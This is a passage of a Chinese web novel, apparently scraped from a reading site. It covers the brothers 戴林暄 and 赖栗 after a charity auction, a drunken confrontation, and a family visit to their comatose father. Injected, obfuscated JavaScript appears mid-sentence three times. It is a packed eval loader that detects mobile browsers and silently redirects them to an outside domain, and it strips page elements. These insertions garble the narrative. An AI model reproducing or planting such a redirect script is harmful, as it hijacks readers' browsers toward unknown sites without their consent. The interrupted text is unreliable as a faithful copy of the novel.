半晌,戴翊扯了扯嘴角:“你的意思是,让我滚远点,不要和你争吗?” 戴林暄:“……” 戴翊理解得不算错,尽管出发点与过程不尽相同,但结果殊途同归。 戴翊站起来,走了两步弯腰凑近,轻声说:“大哥,我的梦想一定会实现。” 在外人看来,就是戴翊笑着在戴林暄耳边说了句悄悄话,起身翩然离场。 这场慈善拍卖会结束得还算圆满,除去赖栗和戴林暄杠上的小插曲,各方目的都算达到了。 当然,远没到散场的时间。 宴会还在继续,觥筹交错间,戴林暄不可避免地喝了一些酒,面对霍敬云这样的长辈,总不好再拿梨汁应付。 他也需要酒精来麻痹一些难言的欲望。 “这是双双。”霍敬云携一双儿女站定,“十二年没见,不知道林暄还认不认得?” “自然认得,霍小姐还是十八岁的样子。”既然霍敬云装作不知道他们已经叙旧过,戴林暄也不提,“这次回来还走吗?” 霍敬云替女儿回答:“不走了,和林暄你一样。” 戴林暄没否认后半句:“那岂不是可惜?” 霍敬云一副洗耳恭听的姿态:“怎么说?” “我听说霍小姐在国际很有名气。”戴林暄半开玩笑道,“霍叔怎么舍得再把女儿拘回诞市这半生不熟的圈子里?” 霍敬云好像没听懂:“双双就在诞市长大,怎么会不熟?刚回来难免不适应,过段时间就好了。” “知名钢琴家克里斯曾这么评价过霍小姐,‘她是一位天生的演奏家’。”戴林暄半垂眼眸,似乎真心叹惋,“本以为能看到少时好友在国际上大放异彩,没想到兜兜转转还是回到了诞市,要和我们这些俗人一起跳进充斥铜臭味的大染缸里。” 霍敬云被说的一愣一愣的,好半天才半真半假地说:“哪有林暄你说的这么严重,只是我年纪大了,集团也年年走下坡路,保不齐哪天就不能给孩子们托底了,双双又是女儿家,想着在合适的年纪给她找个归宿罢了。” 一旁的霍双脸上带着笑,却不发一言。 霍敬云拍拍女儿的手,补充道:“结婚也不影响她继续追求自己喜欢的事业嘛。” 戴林暄笑了下,摩挲着酒杯缓缓道:“我记得霍姨年轻时候是很有名的芭蕾舞演员?” 霍敬云脸色终于变了。 戴林暄点到即止,他口中的霍姨正是霍敬云病逝的夫人,年少芭蕾舞成名,事业最巅峰选择与爱人携手进入婚姻,却因怀孕、豪门夫人等身份限制不得不放弃热爱的舞蹈,从此一蹶不振,生下小儿子霍斐后不久郁郁寡欢而亡。 手机适时地响起来,戴林暄垂眸扫了眼,抱歉抬眸:“霍叔,我这边还有些事需要处理。” 霍敬云脸色仍然有点难看,摆摆手说:“你忙你的。” 戴林暄冲霍双与霍文海一颔首:“下次再聚。” 宴会厅外的露台。 赖栗侧趴在桌上,外套随意地搭在椅子上,旁边倒着诸多酒瓶。他的花色衬衣大敞,颈部与胸膛一并暴露,泛着酒精熏过的微红。 “赖栗。” “赖栗?” 宋自楚唤了几声,赖栗都没有反应。 好一会儿,一道幽深的呢喃随风散去:“你怎么能那样说我?” 醉酒后的赖栗看起来要比平时无害,衬衣被晚风吹得鼓鼓囊囊,锁骨线条直如刀削,带着若隐若现的疤痕,一路延伸到衬衣深处。 宋自楚一时看入了迷,下意识伸出手去,想把赖栗的衣领剥得更开些。 “小楚?”身后传来一串从容稳重的步伐。 宋自楚回首,露出恰到好处的尴尬:“戴先生……赖栗好像喝多了,我本来准备叫醒他,您来了正好。” 戴林暄走近,托着赖栗腰身把人捞起来,醉酒的人总是很沉,脑袋一晃就栽进了戴林暄的颈窝,带着炙热的吐息与浓郁的酒味。 “这个点你还回得去学校吗?”戴林暄一手搂着赖栗的腰,一手抬起看时间,“需不需要给你安排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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突然,赖栗的手指动了动。不过瞬息之间,戴林暄眼前的光景就换成了冷硬的床头,两只手腕被另一具躯体的手利落地捆在身后——用的还是他刚随手扔的领带。 ……装醉装得还挺真。 戴林暄这么想着,没做出任何挣扎,他半边脸都陷在被褥里,不由半阖起眼皮,奇迹般地有些犯困。 明明该是意难平的一天,至少就赖栗把戒指挂出去拍卖这个行为,和拿把刀往心上捅也没什么区别。 不过也许是心早就空了,所以捅也好,用刀刃多绞两下也好,都没什么感觉。 他甚至有兴致调笑:“赖少这是准备对我用刑?” “我们说好的。”赖栗冷静的声音从上方传来,“散场后开诚布公地聊聊。” 戴林暄眼皮落下,过了会儿才睁开:“嗯,你说。” 赖栗停顿片刻,问了句:“戒指呢?” 戴林暄差点以为自己听错了,确定赖栗的问题以后有种啼笑皆非的荒诞感。 “你把它挂出去拍卖了。”戴林暄陈述了一遍事实,“它现在不属于你,属于我。” “我要它。”赖栗连说了两遍,“不是要我选个开学礼物吗?我要它。” 戴林暄的困意又没了,往侧边一翻让自己仰面躺下,尽管这个姿势会压到被捆的手腕,但能看清赖栗的脸。 他叹息一声,好像在说戒指,又好像不仅于此:“小栗,为什么你的要与不要都能那么随意?” “因为我要赋予它新的意义。”说这话的时候,赖栗藏在夜色里的神情显得分外执拗。 “……不会有新的意义。”戴林暄过了好久才说,“它只有一个意义。” 赖栗突然俯身,手顺着他的身体开始摸索,试图把戒指翻出来。 “再摸要硬了。”戴林暄这么说,呼吸却没有变化,“戒指我扔了。” 赖栗僵了下,好像这句话很难消化似的。 “骗你的。”戴林暄开始回应赖栗的聊聊,随意地找了个口子接入话题,“不过你也没多在意它不是吗?过去两年都没戴过,我回来后才装模作样戴了几天,何必呢?” “我自诩作为兄长,已经把能力范围内能给到的最好一切都给了你,就算转换身份也不能更好了,所以这两年里我时常食不甘味、夜不能寐,百思不得其解,难道你过去做的那些、说的那些都只是为了戏耍我……” 戴林暄的声音突然淡下去,赖栗还保持着俯身的姿势,他们近得可以感受到彼此呼吸的末端,近得能看见赖栗眼里越来越明显的困惑。 “……吗。”这个疑问的收尾轻得几乎听不见。 戴林暄清晰感受到自己的心跳消失了几秒,脸上惨白一片,仿佛在顷刻间被一只无形的手擦除了所有血色,覆上了一层冰冷的风雪。 结合这段时间以来赖栗过于理直气壮的言行举止,他后知后觉地意识到一件事—— 也许,赖栗根本不记得两年前他们之间发生过什么。 周围的酒味浓郁到让人难以忽视,可赖栗的神情冷静、眼神清明,看不出一丝醉酒的痕迹。 和两年前一模一样。 戴林暄张了张嘴,第一个音节轻飘飘地散在空气里。 过了会儿,他才听到自己嘶哑难听的声音,带着一股平静的死寂,仿佛罪孽深重的死囚,等待悬而未决的大刀落下—— “赖栗,你现在真的……清醒吗?” 16.单人 赖栗好像被问住了,脸上浮现出一丝迷惘,他此时的状态像酒品较好的醉鬼,又好像陷入了别的什么状态。 过了好一会儿,赖栗才轻声回答:“哥……我分不清。” 他一改平日的嚣张跋扈,像条初生的奶狗,半是依恋半是害怕地伸出手,用其中一根指腹轻轻蹭了下戴林暄的脸。 戴林暄用力偏开头,一直以来的游刃有余终于出现缝隙,揭了蒙在良心上的遮羞布。 回国后,和赖栗一起的画面走马灯似地回放。 他早该发现的,明明那么多矛盾点,例如今天早上,赖栗仿佛故意刺他而问的那句“你是喜欢男人,还是喜欢我”,例如下午进入会场之前,赖栗混账一样的发言“你喜欢上自己的弟弟难道是我的错吗”。 如果赖栗记得,于情于理都不会发出这些疑问。可他浑然不觉,自顾自地认为自己养大的小混账进化成了大混账。 也许是因为戴翊生日的第二天早晨,赖栗没有因为他近乎侮辱的失控愤怒、却因他没有遵守承诺去送上学而砸碗让他延续了内心的默认——默认赖栗清楚他们的关系隐秘且存续,没有明确地说过结束。 当初近乎狼狈、不告而别的出国不就是因为这个吗。 舍不得结束,舍不得对自己养大的孩子说一句重话,所以且当无事发生,草草远离,维系着表面的云淡风轻。 结果两年后一回来,就被赖栗一句“我想和男人谈恋爱”激得城防失守。 赖栗低头,在他脸上舔了下:“热的。” 天真如孩童一半的语气让戴林暄打了个颤栗,赖栗毫无所觉,不依不饶地贴近,把脖子压在戴林暄脸上:“你咬我吧……疼就是醒着。” 离得太近,酒味反而消匿不见,淡淡的体香流向鼻翼,是一款香水沐浴露的味道,扑得戴林暄几乎窒息。 十岁的赖栗麻木冷漠,干瘦的小小躯壳里还藏着轻易不显山露水的狠戾,拒绝所有人的靠近,甚至咬住了一位护工的脖子,如果不是到了换牙期,大动脉都能被他咬穿。 戴林暄不得不亲自动手,给脏到发臭的小赖栗洗澡。 不知道为什么,赖栗对水格外恐惧,他找来一个大但浅的盆,装了薄薄一滩水,把赖栗放进去,打湿毛巾一点点擦拭。 赖栗对待别人是扎满刺的栗蓬,对待戴林暄却是剥了壳的散装栗子,一颗颗落在盆里,又被戴林暄一颗颗捡起,含在嘴里,捧在手心。 快洗完的时候,赖栗抱住他的脖子,鼻尖像小狗似的嗅了嗅。他说这是沐浴露的味道,问赖栗想用吗,得到小小的下巴在肩膀上下蹭了蹭,是一个不可见、只能感受的轻微点头。 从此之后很多年里,一直到赖栗可以独立接触水源,都一直在用这个牌子的沐浴露,如今都腌入味了。 戴林暄被这味道刺激到,一股酸涩的液体从胃反入食道,窜上咽喉,他竭尽全力压下去,却听见赖栗喃喃问:“你为什么这么对我?” 语气里不含委屈,不含悲愤,只有疑惑与不该。 戴林暄再不能忍受,手指拽开打结的领带,挥起掀开身上的赖栗,踉踉跄跄地想要起身去卫生间,却被赖栗一把扯回来——力道精准得完全不像醉鬼。 “哥。”赖栗死死按着戴林暄的肩膀,另一只手磨蹭他的脸,“不能改吗?” 戴林暄闭了下眼,呜咽的大风刮过心谷。 “这样不好。”赖栗终于有了喝醉的样子,颠三倒四、翻来覆去就这两句,“你不能这样。” 戴林暄说好。 赖栗猛地惊醒。 他盯着天花板看了会儿,才反应过来自己躺在宿舍床上。 距离那天的慈善拍卖会已经过去快一周了,“开诚布公”地聊聊是第二天早上的事。 当时的戴林暄穿戴整齐,衬衣扣到最上方,眼下却有些发青,不难看出晚上没怎么睡,结果一夜时间也就扯出一个拙劣的说法——自己是喜欢男人,两年前就对他动了不该有的心思,回来后又听他说想谈恋爱所以失控了,以后会尽量忍住、慢慢放下。 跟放屁似的一段话。 然而后面却没了更好的交流机会,倒不是戴林暄刻意躲他,而是真的忙,每天行程都排得特别满,无暇顾及其它。 赖栗第一次感觉他哥可能是蚌精转世,刚费九牛二虎之力撬开一个微小的口,一眨眼又合上了,重点的疑惑一个没解答。 例如回国的第二天早上,戴林暄那句“和我同性恋叫恶心,和别人就能接受”未免太无厘头。还有戴林暄咬他脖子的那晚,他窥见的一二分恨意不可能是幻觉,疼痛会让他清楚地认知到真实。 最重要的,戴家那些破事又是什么情况? 一缕微光透过窗户打在床头,现在早上六点多,大多数学生睡得正香,黄皓和姜孝的鼾声此起彼伏,像要争个胜负。 赖栗两步翻下床,拎着干净衣服第一次踏入澡堂。对于这个年纪的男生来说,住校+公共浴室+没对象简直是地狱般的灾难,连个释放的私密环境都没有,总不能开个房去撸鸟。 不过也有人不讲究。 赖栗刚到澡堂门口,就听到哗啦啦的水声里夹着一声低低的喘,再往里走两步,水声渐止,传来一阵窸窸窣窣穿衣的声音。 潮湿的味道弥散开来,熏得澡堂烟雾缭绕。 学校的澡堂谈不上干净,地砖缝里全是黑垢,随便迈出一步都可能让地上的积水炸出水花,隔间的花洒估计从买来就没消过毒,墙上甚至可能残有他人子孙后代。 赖栗皱了下眉,掉头就走。 身后传来开门声,对方有些惊讶地喊:“赖栗?” 赖栗回眸一瞥……宋自楚。他已经穿好了衣服,长袖长裤,臂弯夹着一个小盆,里面装满了洗漱用品。 “我……”宋自楚应该猜到他听见了什么,想解释点什么又无从下口,只能问,“你也来冲澡吗?” 赖栗压住因为见不到戴林暄而日日增长的焦躁:“本来是。” 宋自楚愣了下:“那现在?” 赖栗头也不回地说:“现在要去开房。” 宋自楚:“……” 学校附近最不缺酒店,赖栗找最贵的一家开了一个月的套房,专门用来洗澡和洗衣服务,公寓到底还是有点距离。他本来想花自己的钱,突然灵光一闪报了戴林暄的名字,果不其然得到了贵宾待遇。 虽说像戴林暄这样的身份地位,不管在哪个酒店都是贵宾,压根不需要特地去办会员就会有人送上门来,但…… 赖栗撩起眼皮:“你们老板不会姓戴吧?” 经理微笑道:“我们新入驻的股东姓戴。” 新入驻,有多新? 赖栗给戴林暄发了条消息——所以你让我住校的意义是什么? 戴林暄没回。 赖栗大概有个推论,首先戴林暄对他有心思这是事实,连戴翊都感觉到了,不然不会在生日那天说那些疯话。 但戴林暄两年前出国躲他,绝对不是因为区区喜欢。 戴林暄突然回国并成为集团新董事候选人也是个疑点,虽然不清楚为什么,但赖栗知道他前些年对家业并不感兴趣,一直在建设独立于戴氏集团以外的资产,如果只是为了帮蒋秋君,早年进入公司其实更合适,毕竟如今的蒋秋君已经做到了和戴家其他人“三权分立”,不再孤立无援。 正是因为不明原因要回国入驻董事会,戴林暄不想和他朝夕相处,所以才哄骗他住校。 不过远离的计划在回国第二天就失败了。 这就又绕了回来——那天早上,戴林暄并不是因为他想谈恋爱而失控,而是因为他想谈恋爱的对象是“男人”。 赖栗思索了一整个洗澡时间,换上衣服回到学校,在食堂又遇见了宋自楚。 对方好像已经忘了他那天与侮辱无异的发言:“赖栗,我可以坐这吗?” 赖栗没理他,慢吞吞地跟鸡蛋壳较劲,好不容易剥出一个坑坑洼洼的鸡蛋,咬了口还感觉味道不对。 “呃……皮没剥干净。”宋自楚犹豫地坐下,“这蛋可能是没煮好,你要不吃我的吧。” 赖栗在鸡蛋表面揉了下,还真捻下一层皮。 宋自楚忍俊不禁:“你不会不知道鸡蛋有皮吧?” 赖栗丝毫没有“生活废物”的羞耻感:“我十岁以后应该没剥过鸡蛋。” 如果在家里吃饭,鸡蛋永远有阿姨提前剥好、每一颗蛋都光滑完整,如果在外面吃饭,赖栗通常不会选择这些麻烦的食物,除非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14955529|160314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有他哥给他剥。 宋自楚对于“应该”这个用词感觉奇怪,不过对别的更好奇:“十岁以前呢?” 赖栗平静道:“十岁以前没吃过鸡蛋。” “……”宋自楚抱歉一笑,“对不起啊,我不是故意——” 赖栗却展开了话题:“你见过我哥了,应该知道我并不是从小就富裕。” 不知道是不是没想到赖栗会跟自己说这些,宋自楚好一会儿才说话:“我没有故意打探你们家,但那晚在医务室,汤远扬他爸一直叫你哥戴总,姜孝和黄皓忍不住上网查了下,搜到了你和你哥的相关新闻……” 赖栗冷不丁地打断:“你好像有什么想法。” 宋自楚对上赖栗刻薄而犀利的视线,本能地垂下眼皮,遮掩住险些外露的情绪:“没有……” 赖栗的手机突然亮起来,冒出一条新消息。 【我家的】:等我空了去学校给你签外宿同意书。 这意思是以后他可以不住校。 宋自楚剥好鸡蛋,递到赖栗碗里,下一秒就被丢了回来,他抬头,发现赖栗原本平静的脸上浮现出显而易见的暴躁。 “我记得你之前有戴过一枚戒指。”宋自楚不是很确定,“是那天拍卖会上被你哥天价拍下的那枚吗?” 赖栗眼神骤冷,一点情绪都没了。后来他问戴林暄要过那枚戒指,戴林暄轻飘飘地说:“换一个开学礼物吧。” “其实我们是有个想法,不知道会不会冒犯你。”宋自楚停顿了会儿,看了眼赖栗的手机屏幕,“你和你哥是不是……” “什么?” “就是……”宋自楚像对那两个字难以启齿,“恋人。” “就因为我用我哥照片做壁纸?”赖栗露出讥讽的笑容,“少见多怪。” 宋自楚张了张嘴,愣是无言以对。 少见多怪……吗? “滚。”赖栗的脾气就和天气一样阴晴不定。 宋自楚叹了口气,并不生气地起身:“不管你帮我的原因是什么,都要谢谢你。” 宋自楚的脚步声融入人群,依然很有辨识度。等他彻底离开后,赖栗紧绷的手臂才放松,藏在眼底的是快控制不住的暴戾,不过源头走了,又很快平息。 赖栗看了眼手机屏幕,突然有所联想——别人见他拿戴林暄照片当壁纸会误会,那戴林暄自己呢?他记不清这个行为持续多久了,平时玩手机也不会避着戴林暄,何况是锁屏壁纸,路过的、眼睛不瞎的都能看到。 他打开手机给戴林暄拨去一个视频。 被挂了。 手机没等被砸出去,就发出自救般的震动——戴林暄打了个电话过来。 赖栗立刻划开接听:“你在哪?” 戴林暄说:“公司。” 同一时刻,赖栗给一个未知号码发了条消息:我哥在哪。 对方很快回复,赖栗克制的表情瞬间被阴云笼罩。 戴林暄在墓园。 他面前是一座已经建好还没刻碑的豪华双人墓,占地十六平。 赖栗打电话来好像只是为了查个岗,随便聊了几句就挂断电话,不过语气有点奇怪。 戴林暄没太在意,顺着阳光眯了下眼,像是自言自语:“应该很快就有居民入住了。” 旁边站着墓地管理员,做这行已经很多年了,愣是被这句话惊起了一身鸡皮疙瘩。他揣摩着戴林暄的意思,顺应道:“是啊,目前已登记的光是迁坟都得迁过来几十户。” 戴林暄轻笑了笑:“新住户应该也有不少。” “……啊。”管理员脑速飞转,他们这一个墓坑可不便宜,提前预留的不算,最近诞市死了很多有钱人吗? 戴林暄转身,看向台阶式的、整齐划一,一眼望不到头的墓坑。 今天天气很好,阳光洒在鳞次栉比的墓上,完全感觉不到阴森,反而被周围植物的欣欣向荣与叽叽喳喳的鸟鸣衬得很有生气,暖意融融。 过段时间会更热闹吧。 戴林暄回眸看向身后的双人墓,大概有十几秒那么久,才温和出声:“这间要改改。” 管理员一愣:“怎么改?” “挖掉重建,改成单人墓。”戴林暄彬彬有礼道,“有劳了。” 17.股份 戴林暄在墓园逛了逛,准备离开时接到了戴松学的电话,让他别忘了今天去看望父亲戴恩豪。 “不会忘的。”戴林暄最后扫了眼整齐的陵墓,温声说,“爷爷,今天风凉,你多穿件衣服再出门。” 偏瘫的老人吃力地回应:“吃、知道。” 戴林暄问:“吃饭了吗?” 戴松学说:“一,一起。” 戴林暄离开墓园,走向停在路边的车:“中饭当然一起吃,可早饭也不能落下,从老宅到疗养院还要两个小时车程,你胃受不了。” “好……好。”那头的戴松学似乎想笑一下,却因为控制不了面部肌肉而发出怪异的哼吟。 戴林暄又嘱咐了几句,任谁听着都觉得体贴孝顺。 他挂掉电话,弯腰上车:“去海安疗养院。” “林暄,你要不要吃点东西?”刘曾问,“我看刚过来的那条路上有很多早餐店,买着车上吃也来得及。” 戴林暄胳膊肘支在车门上,指尖轻轻刮过喉咙:“算了,不方便。” 刘曾也没多劝,他知道对于泡在礼乐里长大的戴林暄而言,在车里吃东西是件极其失礼的事。 车子驶向城市东方,将青山碧水怀里的墓园甩在身后,逸散的阳光划过大厦玻璃,反射的流光落在戴林暄脸上,渡上了一圈浅色的金边。 像尊完美的玉雕,寂静、夺目。 可惜阳光很快被疗养院的大楼遮挡,使戴林暄的脸蒙上了一层灰度。他没急着下车,开口叫了声曾叔。 刘曾应了声:“欸。” 戴林暄说:“以后我的生活作息、饮食状态就别告诉小栗了。” 刘曾愣了下:“如果小栗来问……” 戴林暄看向中央后视镜,对上刘曾的眼神:“就说一切都好,偶尔波动。” “问别的呢?” “无伤大雅的事他想知道就让他知道吧,至于别的,曾叔应该懂得怎么应付。”戴林暄打开车门,“往后都是。” “……好。” 刘曾琢磨了会儿,不确定戴林暄是不想让弟弟担心,还是真的和最近媒体说的一样,他们兄弟之间产生了隔阂。 疗养院环境很好,和满是消毒水味的医院不同,这里依山傍水,有花有鸟,就连工作人员都个个眉清目秀,比起医疗机构更像度假庄园。 “戴先生,这边请。” 303号病床里,戴恩豪坐在辅助椅上,面朝绿意葱盈的窗户,护士在一旁喂饭。 “我来吧。” 戴林暄脚步轻,护士听到声音吓一跳:“戴先生。” “无意吓到你,不好意思。”戴林暄接过她手里的碗,“休息会儿吧,我来就好。” 护士脸色微红:“好的,那您有事按铃叫我。” 门口转弯的时候,护士回头看了眼,戴林暄正弯着腰,舀起食物喂到戴恩豪嘴里,一部分没吃下去,从嘴角流了出来,弄得下巴黏糊糊的,戴林暄也不嫌弃,拿出手帕耐心地擦拭。 十二年都是这样,真孝顺啊。 再加上能力出众,样貌优越,人品端正,可以说是所有性取向为男的人心中的理想伴侣。不过可惜,没有参考样本,媒体至今不知道这位戴公子中意什么类型的人。 门口的脚步声远去,戴林暄唤了声:“爸。” 戴恩豪眼珠转动,看向面前的年轻男人。 “你出事那年,我刚过完十八岁生日。”戴林暄垂眸舀起一勺稀面,“一转眼我都到而立之年了。” 戴恩豪根本听不懂他在说什么,只对到嘴边的食物有反应,一入口就咽下去,几乎没有咀嚼。 “医生说,虽然你状态不错,但醒过来的可能性微乎其微。”戴林暄擦了下戴恩豪的嘴角,“我真心希望你醒过来,长命百岁,好督促我不要虚度年华,干点实事。” 窗外,隔着绿木鸟鸣,隐隐能看见一辆黑车驶进来。 戴林暄收回目光,哄小孩似的说:“我们做个约定吧。 “明年开完春就是你六十岁的生辰,你努力在那之前醒过来,我努力在贺寿的时候呈上一份大礼。 “你不说话,我就当你答应了。” 戴林暄将餐盘收拾干净,叫来护士让她拿出去。没一会儿,外面就传来一串急促迫切的脚步声,伴随着轮椅的滚动。 戴松学人未到,声先至:“恩、恩豪……” 戴林暄让开半步:“爷爷,黄伯伯。” 偏瘫以后,戴松学格外信奉中医,走哪都把黄齐生带着。 戴松学被推到儿子面前,大概是情绪激动,本该软绵无力的手掌竟然格外有力,握得戴恩豪都出现了屈曲性逃避反应。 “爸、爸爸对不起你。”戴松学胸膛剧烈起伏,一时有些喘不上气,“让那个女人欺、欺负你……这么,多年!” 戴林暄半蹲下,轻拍戴松学的后背:“爷爷,别激动,放轻松。” 戴松学转而抓住他手腕:“医、医生,怎么说?” “十二年了,除非医学奇迹,否则——”戴林暄摇了下头。 戴松学红了眼眶,怔怔道:“我是爸爸,你还,记,记得吗?” 除去不能动,无法对外界做出回应,戴恩豪可以吃饭、眨眼,目光甚至可以聚焦在某个人身上,偶尔会有一种他其实清醒的错觉。 如果这时候他回应一句“记得”,戴松学真的会高兴吗?他真希望儿子恢复成正常人,再唤一声父亲吗? 恐怕也不见得。 戴松学说话吃力,却停不下来絮叨,话音里满满的愧疚与亏欠,时不时再把蒋秋君拎出来骂两句恶毒。 戴林暄静静听着,也没什么反应。 “林,林暄,来,手……”祖孙三人的手合在一起,泪水打湿了戴松学苍老的面颊,“还好,林、林暄,跟你多像啊,是个好、好孩子。” 戴林暄任他抓着,垂眸没出声。 戴松学情绪宣泄够了,猛得抬眸,眼神犀利:“快,林暄,给你爸、爸爸……转院!” “转什么院?这里的条件不好吗?” 说话的并不是戴林暄,而是姗姗来迟的蒋秋君。她身后还跟着以及戴恩豪的几个姊妹,再后面是戴翊和一众小辈。 谁都知道戴松学最在乎戴恩豪这个大儿子,如今团聚,自然都要来表个态,粗略数数竟然来了二三十人。 戴林暄和长辈们一一打过招呼。 戴松学拧着脖子,死死瞪着蒋秋君:“你把他藏、藏了,十二年!” “这怎么能叫藏?作为妻子,我有权利和义务给他最好的疗养环境。”蒋秋君淡淡笑了下,“爸,你就别操心了,恩豪这不是好着吗?” 戴松学气得面红耳赤,说不出话来。 当年戴恩豪车祸,确诊植物人以后就被蒋秋君转移走了,除去戴林暄、戴翊和她自己,谁都见不到。只有逢年过节,她才大发善心地给老宅拨个视频,让戴松学瞧一眼自己的宝贝儿子。 戴二叔宽慰道:“大哥状态看着不错,我问过医生,植物人能活十年以上的少之又少,大嫂没亏待大哥。” 戴松学怒拍扶手,可惜偏瘫导致手臂无力,只盖下去半个手掌就滑到一边,毫无威严:“如果不,不是这个女人,恩豪怎,怎么会……” 戴林暄看了戴翊一眼,出声打断:“爷爷,难得团聚,先让子霖他们见见大伯吧。” 戴林暄说的话还是管用,针锋相对的氛围被按下去。 最小的一辈里,最大的孩子也才十一岁,都没见过戴恩豪。 他们依次上前,亲切呼唤这个素未谋面的大伯,哪怕不会得到回应。 有几个小孩应该演练过,一靠近就红了眼眶,带着哭腔说:“大伯,我好心疼你。” 瞧着颇有些戏剧性。 蒋秋君面色平淡,仿佛在看一出事不关己的话剧。 戴翊压低声音,挖苦道:“小小年纪演技这么好,应该送去你公司做童星。” 戴林暄说:“你小时候也不差。” “那是因为突然多了个赖栗好吧,他小时候坏得要死,每天不是在卖惨就是在卖惨的路上,恨不得你眼里只有他。”戴翊哼笑了声,“要不耍点小心眼,我还有哥哥吗?” “大伯,你快快醒过来吧。”戴子霖是戴三叔的孙子,也是最会来事的那个,一直黏着戴恩豪不放,“祖父很想你,爸爸、爷爷也很想你。” 其他小孩在父母的眼神示意下,也都扑到大伯身边,抓手、抓胳膊围得密不透风,要不是抱大腿不雅观,恐怕腿上都得多几个挂件。 戴林暄完全不被这幅煽情的画面感染,和戴翊一起轻声回忆往昔:“我每天不是在端水就是在端水的路上,哪边多洒一点都不消停。” 戴翊小时候活泼闹腾,一委屈就嗷嗷哭,赖栗虽然不哭,但很会拿捏人心,知道戴林暄最遭不住什么。 最好笑的是,赖栗因为心理问题,晚上得和戴林暄一起才睡得着,戴翊很不高兴,也要一块睡,可十岁正是男女有别的年纪,不合适,她一哭二闹三上吊,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戴林暄上车就闭上了眼睛:“去吃饭吧。” 戴翊问:“你是不是知道?” 戴林暄:“知道什么?” 戴翊托着脸,偏头看着戴林暄:“爷爷这些年用尽各种办法,妈都没让他见爸一面,这次为什么突然妥协了?” 戴林暄说:“股份换的。” 戴翊脸色微变,胳膊从车门上拿下来:“给你?所有股份?” 戴林暄笑了声:“别紧张,百分之五。” “百分之五还不多?刚那一堆人里有几个股份超过了百分之五?”戴翊又想拿剪刀剪点东西了,“重男轻女的死老头。” 戴松学不喜欢赖栗情有可原,却也不喜欢她这个亲孙女。即便是交易,他也只愿意把股份交给宝贝孙子。 戴翊面向窗外:“妈妈就不会偏心。” 戴林暄睁开眼,平静地看了她一眼。 很多时候,只有被偏心的孩子才会认为没有偏心。 “如果爸爸醒着就好了,有他在,爷爷就算偏心也不会这么明显。”戴翊沉默了会儿,继续说,“你知道吗,上次去老宅,那么多晚辈喊他,他独独没应我的声。” 戴林暄说:“不要对不喜欢你的人付诸太多感情。” “那你呢?”戴翊问,“如果我一定要和你争,你还喜欢我吗?” 戴林暄过了会儿才说:“我对你永远不会变。” “真的吗?最好是……”戴翊自言自语了会儿,突然问:“你今天怎么没叫赖栗来?” 戴林暄说:“他来做什么?认爹?” “也是,他又不姓戴……也不能姓戴。”戴翊噗得一笑,“来吃个饭也行啊,好不容易聚在一块儿。” 戴林暄说:“他不喜欢这这么多人的饭局。” “我也不喜欢。”戴翊不说话了,一直安静到车停,“到了,下车。” 戴林暄下来得很慢,弯腰的时候,手撑在黑色车门上,衬得皮肤苍白无比,青色的血管清晰可见。 戴翊回头看了眼,微微一愣:“你……” 戴林暄关上车门,面色自若地走来:“我什么?” 戴翊不确定是不是眼花,戴林暄的手刚刚好像在抖……现在看上去又很正常,骨节分明,修长有力。 “没什么。” 18.长兄 这顿饭吃得其乐融融,众人在老爷子面前表现得都很高兴。除去逢年过节,戴家鲜少有这种齐聚一堂的时刻。 戴三叔主动和戴林暄碰杯:“林暄这一走就是两年,去年前年中秋都没回来,你爷爷想你可想得都吃不下饭。” 戴林暄将一盅酒饮尽:“谢三叔叔提点,以后注意。” 戴松学坐于主位:“后天,后天……” 估计是被蒋秋君气着了,他的声音比之前更加含糊沙哑,一开口就淹没在家宴的推杯换盏中。 戴恩瑜注意到这一幕,笑着传话:“后天就是中秋了,林暄记得回老家吃饭。” 她是戴林暄的小姑姑,辈分虽高,实则和戴林暄同龄,是家里比较特殊的存在。 戴氏家教森严,注重伦理纲常,所有写上族谱的孩子都必须名正言顺,除了戴恩瑜——她是戴氏唯一一位得到承认的私生子女。 也是运气好,她十二岁那年被母亲扔在老宅门口,恰巧碰到老爷子第一次脑梗发作、出院回家。 人一老,身子骨一差,就会格外心软,开始看重血缘亲情。 于是戴松学力排众议,仗着结发妻子早已病逝,主动打破自己定下的规矩,让这个老来私生女认祖归宗,戴恩瑜也顺势成为家里少有的受宠女眷。 戴林暄说:“中秋那天只来得及回去吃晚饭。” 戴松学眉头皱了皱:“赖……” 戴恩瑜仿佛老爷子肚子里的蛔虫:“带上赖栗一起吧,早点来,你出去两年,他也不怎么回老宅吃饭呢。” 谁都知道戴林暄疼那个弟弟,以前类似的事情只要提到赖栗,他基本都会妥协。 然而,戴林暄这次却说:“随他去吧,毕竟不姓戴,没法一条心。” 一阵微妙弥漫开,大家都听说过前些天慈善拍卖会上的闹剧。 外界对于戴林暄和赖栗杠起来这件事超过了戒指本身的关注度,甚至有人打赌,赖栗这回在太岁头上动土,多久会遭到厌弃。 本来戴家人都没当回事,如今听戴林暄这么说,倒是各有所思。 这话看似在说赖栗,可蒋秋君也不姓戴啊。 是含沙射影,还是随口一说? 戴松学浑浊的眼球转了转,看向戴林暄的眼神透着几分忖度。 戴林暄好似没察觉暗流涌动,又解释中秋不能早回的原因:“前段时间和望山寺庙商榷了一场公益活动,定了中秋那天,我也好在这个良辰吉日为爷爷和爸祈个身体健康,长命百岁。” 蒋秋君面色淡淡,扫了戴林暄一眼。 